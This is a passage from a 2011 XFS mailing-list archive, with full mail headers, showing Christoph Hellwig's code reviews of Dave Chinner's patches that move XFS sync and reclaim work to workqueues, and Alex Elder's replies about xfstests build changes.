<201103042235.p24MZ75i023399@stout.americas.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778225 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 04:35:07PM -0600, Alex Elder wrote: > Having both "include/builddefs" and "include/config.h" as > dependencies for the default target results in a parallel > invocation of "make" spawning two concurrent attempts to > do the configure step--and that doesn't work. > > Creating one of those two will result in the other getting > created, so there's no need to list both as dependencies. > > There are several other mysterious dependencies that serve > no purpose, so get rid of them. Looks good, Reviewed-by: Christoph Hellwig From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:29:02 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AHSqhE113812 for ; Thu, 10 Mar 2011 11:29:02 -0600 X-ASG-Debug-ID: 1299778302-024701690000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4D34A10C1BBD for ; Thu, 10 Mar 2011 09:31:43 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id JtPtwd4mpwGIGE8k for ; Thu, 10 Mar 2011 09:31:43 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pxji9-00056p-Bn; Thu, 10 Mar 2011 17:31:41 +0000 Date: Thu, 10 Mar 2011 12:31:41 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Subject: Re: [PATCH 1/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Message-ID: <20110310173141.GA19609@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778303 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Looks good, Reviewed-by: Christoph Hellwig From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:31:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHVEdv113945 for ; Thu, 10 Mar 2011 11:31:25 -0600 X-ASG-Debug-ID: 1299778446-12a000b60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4615233823D for ; Thu, 10 Mar 2011 09:34:06 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id EQt2RtrZQaJclZqK for ; Thu, 10 Mar 2011 09:34:06 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxjkT-0005M6-Tc; Thu, 10 Mar 2011 17:34:05 +0000 Date: Thu, 10 Mar 2011 12:34:05 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Subject: Re: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Message-ID: <20110310173405.GB19609@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778446 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > - out_sysctl_unregister: > +out_destroy_xfs_syncd: > + destroy_workqueue(xfs_syncd_wq); > +out_sysctl_unregister: > xfs_sysctl_unregister(); > - out_cleanup_procfs: > +out_cleanup_procfs: > xfs_cleanup_procfs(); > - out_buf_terminate: > +out_buf_terminate: > xfs_buf_terminate(); > - out_filestream_uninit: > +out_filestream_uninit: > xfs_filestream_uninit(); > - out_mru_cache_uninit: > +out_mru_cache_uninit: > xfs_mru_cache_uninit(); > - out_destroy_zones: > +out_destroy_zones: What's the point of these random formatting changes? Otherwise looks good, Reviewed-by: Christoph Hellwig From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:33:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHWwDM114030 for ; Thu, 10 Mar 2011 11:33:09 -0600 X-ASG-Debug-ID: 1299778549-04dc01ae0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 262E633825D for ; Thu, 10 Mar 2011 09:35:50 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id prdJwaMidXX881P1 for ; Thu, 10 Mar 2011 09:35:50 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pxjm9-00067l-O1; Thu, 10 Mar 2011 17:35:49 +0000 Date: Thu, 10 Mar 2011 12:35:49 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: Re: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Message-ID: <20110310173549.GC19609@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778550 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Looks good, Reviewed-by: Christoph Hellwig > +STATIC void > +xfs_flush_worker( > + struct work_struct *work) > +{ > + struct xfs_mount *mp = container_of(work, > + struct xfs_mount, m_flush_work); > + > + xfs_sync_data(mp, SYNC_TRYLOCK); > + xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); > + xfs_log_force(mp, XFS_LOG_SYNC); No actually new in this patch: but what's the point of the log force here? xfs_sync_data just did one before returning. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:38:15 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AHc3H8114361 for ; Thu, 10 Mar 2011 11:38:15 -0600 X-ASG-Debug-ID: 1299778854-701402410000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 036C0149E9A6 for ; Thu, 10 Mar 2011 09:40:54 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id T9ixwyNzgTzORpUE for ; Thu, 10 Mar 2011 09:40:54 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pxjr4-0006qw-Cv; Thu, 10 Mar 2011 17:40:54 +0000 Date: Thu, 10 Mar 2011 12:40:54 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: introduce background inode reclaim work Subject: Re: [PATCH 4/6] xfs: introduce background inode reclaim work Message-ID: <20110310174054.GD19609@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299778855 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Why do we still keep the inode reclaim in the syncer work? If we already have this one doing it I don't think we need it there as well. > /* > + * Queue a new inode reclaim pass if there isn't one already in progress. > + * Wait for completion of the flush if necessary. No, it doesn't wait ever. > + */ > +static void > +xfs_syncd_queue_reclaim( > + struct xfs_mount *mp) > +{ > + queue_delayed_work(xfs_syncd_wq, &mp->m_reclaim_work, > + xfs_syncd_centisecs / 5 * msecs_to_jiffies(10)); What explanation is there for the magic 5? E.g. why do we neeed to run it exactly 5 times as often as the normal sync work? Should it have it's own tunable? And isn't ever 6 seconds by default a little often on systems trying to saver power, especiall if there aren't any inodes to reclaim? Should we trigger starting this work off having reclaimable inodes tagged in the radix tree? > + /* first unpin all the dirty and stale inodes. */ > + xfs_log_force(mp, XFS_LOG_SYNC); So we force out the log every 6 seconds. That's a lot more often than most other filesystem and might have adverse performance impact. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 11:45:38 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AHjRtd115023 for ; Thu, 10 Mar 2011 11:45:38 -0600 X-ASG-Debug-ID: 1299779298-129e010a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0A77D334C8D for ; Thu, 10 Mar 2011 09:48:18 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 6LvtPxBrfzrg873W for ; Thu, 10 Mar 2011 09:48:18 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxjyE-0007k5-HG; Thu, 10 Mar 2011 17:48:18 +0000 Date: Thu, 10 Mar 2011 12:48:18 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Subject: Re: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Message-ID: <20110310174818.GE19609@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299779299 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > STATIC int __init > +xfs_init_workqueues(void) > +STATIC void __exit > +xfs_destroy_workqueues(void) I don't think these helpers are overly useful. > + xfs_ail_wq = alloc_workqueue("xfsail", WQ_CPU_INTENSIVE, 8); > +} > +static void > +xfs_ail_push_queue( > + struct xfs_ail *ailp, > + xfs_lsn_t threshold_lsn, > + int tout) > +{ > + if (XFS_LSN_CMP(threshold_lsn, ailp->xa_target) > 0) { > + ailp->xa_target = threshold_lsn; > + queue_delayed_work(xfs_syncd_wq, &ailp->xa_work, tout); tout is always one in the only caller and thus doesn't need to be passed. But I think you really want a timeout of 0 here to queue it up ASAP (it translates to a direct queue_work() call internally). Also this function could simply be merged into it's only and relatively simple caller. From BATV+51d5abe19d1758afb8ff+2755+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 10 15:29:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2ALStOX123294 for ; Thu, 10 Mar 2011 15:29:06 -0600 X-ASG-Debug-ID: 1299792706-2e1d00ba0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D3D8E1DE5D38 for ; Thu, 10 Mar 2011 13:31:46 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id BDQ3iq0V1J80WGLl for ; Thu, 10 Mar 2011 13:31:46 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxnSS-0003AB-Kl; Thu, 10 Mar 2011 21:31:44 +0000 Date: Thu, 10 Mar 2011 16:31:44 -0500 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Subject: Re: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Message-ID: <20110310213144.GA9371@infradead.org> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> <1299715529-11026-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299715529-11026-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299792706 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > -STATIC void xfs_ail_splice(struct xfs_ail *, struct list_head *, xfs_lsn_t); > -STATIC void xfs_ail_delete(struct xfs_ail *, xfs_log_item_t *); > -STATIC xfs_log_item_t * xfs_ail_min(struct xfs_ail *); > -STATIC xfs_log_item_t * xfs_ail_next(struct xfs_ail *, xfs_log_item_t *); > - Reordering and cleanup of unrelated existing functions should be in a separate patch. > @@ -55,16 +93,32 @@ xfs_lsn_t > xfs_trans_ail_tail( > struct xfs_ail *ailp) > { > - xfs_lsn_t lsn; > + xfs_lsn_t lsn = 0; > xfs_log_item_t *lip; > > spin_lock(&ailp->xa_lock); > lip = xfs_ail_min(ailp); > - if (lip == NULL) { > - lsn = (xfs_lsn_t)0; > - } else { > + if (lip) > + lsn = lip->li_lsn; > + spin_unlock(&ailp->xa_lock); > + > + return lsn; > +} > + > +/* > + * Return the maximum lsn held in the AIL, or zero if the AIl is empty. > + */ > +static xfs_lsn_t > +xfs_ail_max_lsn( > + struct xfs_ail *ailp) > +{ > + xfs_lsn_t lsn = 0; > + xfs_log_item_t *lip; > + > + spin_lock(&ailp->xa_lock); > + lip = xfs_ail_max(ailp); > + if (lip) As this is the counterpart to xfs_trans_ail_tail the naming for both should be similar. I much prefer the descriptive _lsn naming over the random trans in xfs_trans_ail_tail. From aelder@sgi.com Thu Mar 10 16:07:02 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AM6uNc124709 for ; Thu, 10 Mar 2011 16:07:02 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id A3B97304084 for ; Thu, 10 Mar 2011 14:09:42 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 10 Mar 2011 16:09:36 -0600 Subject: Re: [PATCH 2/2] xfstests: some refinements on "make depend" From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110310172644.GC13390@infradead.org> References: <201103041937.p24Jbfh5004820@stout.americas.sgi.com> <20110310172644.GC13390@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Thu, 10 Mar 2011 16:09:36 -0600 Message-ID: <1299794976.2573.72.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Mar 2011 22:09:36.0545 (UTC) FILETIME=[D7D27910:01CBDF6F] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, 2011-03-10 at 12:26 -0500, Christoph Hellwig wrote: > On Fri, Mar 04, 2011 at 01:37:41PM -0600, Alex Elder wrote: > > Make it so "make depend" is a generic target, like "make clean". > > > > Each Makefile has a "depend" target that indicates whether making > > dependencies means creating ".dep" or creating ".ltdep" (or, I > > suppose, both, though none do that right now). Both files get > > created even if there are no CFILES to scan (to ensure the target > > up-to-date). The "default" target now depends on "depend" (there is > > no "ltdepend" any more). > > > > Remove the "depend" and "ltdepend" definitions from the "buildrules" > > file; only the actual generated files (".dep" and ".ltdep") remain > > as generic targets. The "depend' target is still defined as phony. > > > > Do a shell trick when expanding the value of CFILES, to avoid a > > problem that occurs if it is created by "make" by concatentating two > > empty strings. The problem was that in that case CFILES will > > contain a space, and that wasn't getting treated as empty as > > desired. > > > > Make the rule for tool/lib dependencies more generic, to reflect the > > general desire that "lib" subdirectories need to be built before > > things in the "tool" subdirectories. > > Can we instead port over the generic dependency generation from > xfsprogs/xfsdump? My intention was to work toward unifying all the user space stuff, basically in line with what you suggest. This is part of a flurry of changes related to the xfstests dmapi subtree. One of the things I needed to do was populate a set of new Makefiles there, and I guess in looking into that I found I didn't like the way the dependencies were done, and the changes I made to address that ended up in this patch. I'll hold off on this patch and will reconsider it once I get the more substantive dmapi changes in. -Alex From aelder@sgi.com Thu Mar 10 16:13:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AMDSqj124954 for ; Thu, 10 Mar 2011 16:13:33 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id CCC21AC009; Thu, 10 Mar 2011 14:16:13 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 10 Mar 2011 16:16:12 -0600 Subject: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110310172943.GD13390@infradead.org> References: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> <20110310172943.GD13390@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Thu, 10 Mar 2011 16:16:12 -0600 Message-ID: <1299795372.2573.79.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Mar 2011 22:16:12.0892 (UTC) FILETIME=[C41039C0:01CBDF70] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, 2011-03-10 at 12:29 -0500, Christoph Hellwig wrote: > > LIB_SUBDIRS = include lib > > TOOL_SUBDIRS = ltp src m4 > > +ifeq ($(HAVE_DMAPI), true) > > +TOOL_SUBDIRS += dmapi > > +endif > > Does this work with the way we generate source tarballs on make dist? > In xfsprogs we have special variables for source files that don't get > build. Right now, xfstests has no "make dist". I'm trying now to straighten things out a bit in preparation for making xfstests follow the same model used for xfsprogs (and the rest). So, I guess the answer is "no" but ultimately it should be "yes," though more changes will be needed to get there. > > > @@ -0,0 +1,30 @@ > > +# > > +# Copyright (c) 2011 SGI All Rights Reserved. > > +# > > I think a license would be more useful than all rights reserved here. > > Except for that the patch looks sane to me, and having a consistent > build system is a good thing. I'll add a boilerplate GPL statement in these new files. What I used was simply mimicing what was present in the other Makefiles. In order to avoid re-sending this big patch, may I get your signoff/reviewed-by on that plan? Thanks. -Alex From aelder@sgi.com Thu Mar 10 16:13:34 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AMDSOb124956 for ; Thu, 10 Mar 2011 16:13:34 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 43A9FAC00E for ; Thu, 10 Mar 2011 14:16:20 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 10 Mar 2011 16:16:07 -0600 Subject: Re: [PATCH 1/2] xfstests: a few fixes to Makefile From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110310172537.GB13390@infradead.org> References: <201103041937.p24JbaaN004813@stout.americas.sgi.com> <20110310172537.GB13390@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Thu, 10 Mar 2011 16:16:06 -0600 Message-ID: <1299795366.2573.78.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Mar 2011 22:16:07.0079 (UTC) FILETIME=[C0993B70:01CBDF70] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, 2011-03-10 at 12:25 -0500, Christoph Hellwig wrote: > > +ifeq ($(HAVE_DMAPI), true) > > # automake doesn't always support "default" target > > # so do dmapi make explicitly with "all" > > -ifeq ($(HAVE_DMAPI), true) > > What about moving the # signs to the first line so that it never gets > echoed at all? > > Otherwise looks good to me. That would work too. A later patch makes the whole thing go away though, so it's sort of moot. (And I already committed it after some discussion with Eric yesterday...) -Alex From aelder@sgi.com Thu Mar 10 16:14:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AMEFMT125004 for ; Thu, 10 Mar 2011 16:14:20 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA76D8F8074 for ; Thu, 10 Mar 2011 14:17:00 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 10 Mar 2011 16:16:54 -0600 Subject: Re: [PATCH] xfstests: fix a few build warnings From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110310172418.GA13390@infradead.org> References: <201103041937.p24JbVtP004804@stout.americas.sgi.com> <20110310172418.GA13390@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Thu, 10 Mar 2011 16:16:53 -0600 Message-ID: <1299795413.2573.80.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Mar 2011 22:16:54.0642 (UTC) FILETIME=[DCF2C520:01CBDF70] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, 2011-03-10 at 12:24 -0500, Christoph Hellwig wrote: > > lio_random_methods(long curr_mask) > > { > > int mask=0; > > - long random_bit(); > > + long random_bit(long); > > This should use the prototype from include/random_range.h instead. > > Otherwise looks good to me, > > > Reviewed-by: Christoph Hellwig I should have done that. Already committed though. From aelder@sgi.com Thu Mar 10 16:31:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2AMV5SP125600 for ; Thu, 10 Mar 2011 16:31:11 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4F4ECAC009; Thu, 10 Mar 2011 14:33:57 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 10 Mar 2011 16:33:56 -0600 Subject: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110310172943.GD13390@infradead.org> 